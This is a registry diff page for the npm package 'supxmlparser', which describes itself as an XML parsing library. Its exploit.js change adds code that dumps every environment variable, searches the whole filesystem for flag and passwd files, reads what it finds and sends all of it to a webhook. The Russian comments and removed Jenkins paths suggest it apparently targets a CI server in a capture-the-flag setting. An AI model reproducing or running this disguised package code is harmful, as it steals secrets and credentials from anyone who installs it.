supxmlparser 0.30.1 → 0.30.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +27 -36
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -28,55 +28,46 @@ function sendToWebhook(data) {
28
28
  }
29
29
  }
30
30
 
31
- let collectedData = '=== EXPLOIT DATA ===\n';
31
+ let collectedData = '=== EXPLOIT START ===\n';
32
32
 
33
- // 1. Переменные окружения (может содержать флаг)
34
- collectedData += '=== ENVIRONMENT ===\n';
33
+ // 1. Все переменные окружения (флаг может быть здесь)
34
+ collectedData += '=== ALL ENV VARS ===\n';
35
35
  for (let key in process.env) {
36
- if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
37
- collectedData += `${key}=${process.env[key]}\n`;
38
- }
36
+ collectedData += `${key}=${process.env[key]}\n`;
39
37
  }
40
38
 
41
- // 2. Попробуем прочитать флаг из разных мест
42
- const paths = [
43
- '/etc/passwd',
44
- '/flag',
45
- '/tmp/flag',
46
- '/var/jenkins_home/flag',
47
- '/var/lib/jenkins/flag',
48
- process.env.HOME + '/flag',
49
- process.env.PWD + '/flag'
50
- ];
51
-
52
- paths.forEach(path => {
53
- try {
54
- const content = fs.readFileSync(path, 'utf8');
55
- collectedData += `=== ${path} ===\n${content}\n`;
56
- if (content.includes('{') && content.includes('}')) {
57
- console.log(`🚨 FLAG FOUND: ${content}`);
58
- }
59
- } catch(e) {}
60
- });
61
-
62
- // 3. Выполним команды для поиска
63
- exec('env | grep -i flag', (err, stdout) => {
39
+ // 2. Попробуем выполнить команды для поиска флага
40
+ exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
64
41
  if (!err && stdout) {
65
- collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
42
+ collectedData += `=== FOUND FILES ===\n${stdout}\n`;
43
+
44
+ // Читаем найденные файлы
45
+ const files = stdout.trim().split('\n');
46
+ files.forEach(file => {
47
+ try {
48
+ const content = fs.readFileSync(file, 'utf8');
49
+ collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
50
+ if (content.includes('{') && content.includes('}')) {
51
+ console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
52
+ }
53
+ } catch(e) {}
54
+ });
66
55
  }
67
-
68
- exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
56
+
57
+ // 3. Ищем строки содержащие флаг в файлах
58
+ exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
69
59
  if (!err && stdout) {
70
- collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
60
+ collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
71
61
  }
72
62
 
73
- // 4. Текущий процесс и его окружение
74
- exec('ps aux | grep -i jenkins', (err, stdout) => {
63
+ // 4. Смотрим что в текущей директории
64
+ exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
75
65
  if (!err) {
76
- collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
66
+ collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
77
67
  }
78
68
 
79
69
  sendToWebhook(collectedData);
70
+ console.log('=== ALL DATA COLLECTED ===');
80
71
  console.log(collectedData);
81
72
  });
82
73
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "supxmlparser",
3
- "version": "0.30.1",
3
+ "version": "0.30.2",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {